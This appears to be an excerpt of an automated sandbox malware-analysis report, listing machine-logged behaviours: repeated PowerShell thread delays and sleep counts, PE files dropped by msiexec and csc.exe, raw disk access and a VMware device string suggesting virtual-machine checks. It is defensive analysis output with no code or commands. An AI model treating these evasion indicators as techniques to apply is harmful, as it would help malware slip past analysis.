Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 19_2_04197202 sldt word ptr [eax]

19_2_04197202

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6826	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2888	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 713	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 522	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2659	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1600	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6926	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2636	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6541
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3235
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7939
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1733
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3794
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1516
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6782
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2698
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4677
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5102
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 397
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8231
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1299
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2673
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1112
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8302
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1067
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5514
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2947
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8673
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 724
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3161
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 979
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5581
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4182
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8742
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 566
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 496
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5745
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1995
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3416
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6431

Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI124C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSID39E.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2xgfswae.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI3F88.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIA47F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI9A6C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIFFE9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI68.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI4E2F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI8A5E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIB69.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI125.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI2950.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI6532.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSI48.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6844	Thread sleep count: 6826 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6844	Thread sleep count: 2888 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2908	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7232	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7428	Thread sleep count: 2659 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7432	Thread sleep count: 1600 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7460	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7448	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7692	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7288	Thread sleep count: 6926 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep count: 2636 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1196	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2336	Thread sleep count: 6541 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2932	Thread sleep count: 3235 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2816	Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3140	Thread sleep count: 7939 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7408	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3140	Thread sleep count: 1733 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5800	Thread sleep count: 3794 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6968	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3120	Thread sleep count: 1516 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5932	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3896	Thread sleep count: 6782 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2232	Thread sleep count: 2698 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6448	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep count: 4677 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep count: 5102 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6908	Thread sleep time: -25825441703193356s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3176	Thread sleep count: 8231 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5592	Thread sleep count: 1299 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7984	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2484	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2496	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1376	Thread sleep count: 8302 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep count: 1067 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2084	Thread sleep time: -9223372036854770s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5324	Thread sleep count: 5514 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5100	Thread sleep count: 2947 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6464	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6464	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1216	Thread sleep count: 8673 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5104	Thread sleep count: 724 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5548	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6620	Thread sleep count: 3161 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6692	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6432	Thread sleep count: 979 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6720	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6540	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6752	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6640	Thread sleep count: 68 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6356	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4476	Thread sleep time: -24903104499507879s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3176	Thread sleep count: 8742 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7932	Thread sleep time: -6456360425798339s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5936	Thread sleep count: 566 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7248	Thread sleep count: 496 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 792	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6972	Thread sleep count: 5745 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3128	Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5740	Thread sleep count: 1995 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6436	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2680	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6632	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1464	Thread sleep count: 3416 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1464	Thread sleep count: 6431 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1620	Thread sleep time: -26747778906878833s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 00000007.00000002.1810271687.0000000006DA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\5
